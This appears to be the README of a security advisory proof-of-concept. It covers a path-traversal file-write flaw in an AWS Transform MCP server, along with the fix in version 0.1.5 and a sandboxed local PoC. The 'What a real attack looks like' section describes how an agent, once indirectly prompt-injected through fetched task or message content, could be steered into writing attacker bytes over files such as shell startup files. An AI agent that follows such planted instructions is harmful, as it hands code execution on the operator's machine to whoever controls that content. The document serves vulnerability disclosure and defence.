Summary

get_resource(resource="artifact" | "asset", ...) downloads a file from a pre-signed S3 URL and, when the caller passes savePath / fileName, saves it to local disk through:

In <= 0.1.4, validate_write_path() only:

1. Resolves save_path with os.path.realpath(os.path.expanduser(...)).
2. Rejects a short deny-list of directories (~/.aws, ~/.ssh, ~/.gnupg, ~/.docker, ~/.aws-transform-mcp, /etc/shadow, /etc/passwd).
3. Strips directory components from file_name via os.path.basename().

It never confines the resolved directory to any base/working directory, and BLOCKED_FILENAMES (.bashrc, .zshrc, authorized_keys, id_rsa, …) is only enforced on reads, not writes. So any MCP client of this server — including an agent that has been indirectly prompt-injected via untrusted job/task/message content it fetches through this same tool — can set savePath to an absolute path, a ../.. traversal, or a sensitive dotfile name, and the server writes attacker-influenced bytes there. That's a file-write primitive outside the directory the operator believes downloads are confined to; the advisory notes it "could lead to local code execution" (e.g. clobbering a shell startup file).

0.1.5 fixes this by adding an explicit allow-listed base directory (_ALLOWED_WRITE_BASE, taken from $AWS_TRANSFORM_MCP_WRITE_DIR or the server's CWD at startup) that every resolved write path must fall under, and by also enforcing BLOCKED_FILENAMES on the final resolved write path.

Full root-cause diff: vendor/0.1.4-vulnerable/file_validation.py vs. vendor/0.1.5-fixed/file_validation.py (both pulled verbatim from PyPI / GitHub, Apache-2.0).

What a real attack looks like

An MCP client (Q Developer, Kiro, Claude, etc. wired up to this server) issues a tool call such as:

or, from a relative sandbox dir:

Because the tool describes resource="task" responses as things the agent should read and act on, and resource="messages" content originates from chat/job data, a workspace collaborator (or a compromised upstream job/message source) doesn't need to convince a human to type this — steering an already-connected agent into calling get_resource with a hostile savePath is enough. No real AWS credentials are required to demonstrate the flaw itself, since the bug is entirely in local path handling, before/after the S3 fetch.

Running the PoC

No third-party dependencies, no AWS account, no network access to AWS. The script:

1. Vendors the real, unmodified file_validation.py from both 0.1.4 and 0.1.5+ (see vendor/).
2. Starts a throwaway local HTTP server standing in for the pre-signed S3 URL.
3. Re-implements download_s3_content() with the exact control flow from upstream tool_utils.py (httpx swapped for stdlib urllib only —zero dependencies, same logic), and drives it exactly as get_resource would.
4. Fires three malicious savePath/fileName pairs — absolute-path escape, relative ../.. traversal, and a blocked-on-read-only dotfile name — against the vulnerable validator, then the fixed one.

Everything happens inside a disposable mkdtemp() scratch directory; your real $HOME is never touched. Sample output:

Remediation

Upgrade to awslabs.aws-transform-mcp-server >= 0.1.5. There is no server-side workaround for older versions; the advisory recommends upgrading. Operators who cannot upgrade immediately should run the server with its CWD set to a dedicated, empty directory and treat any file it can write to as compromised.

Repo layout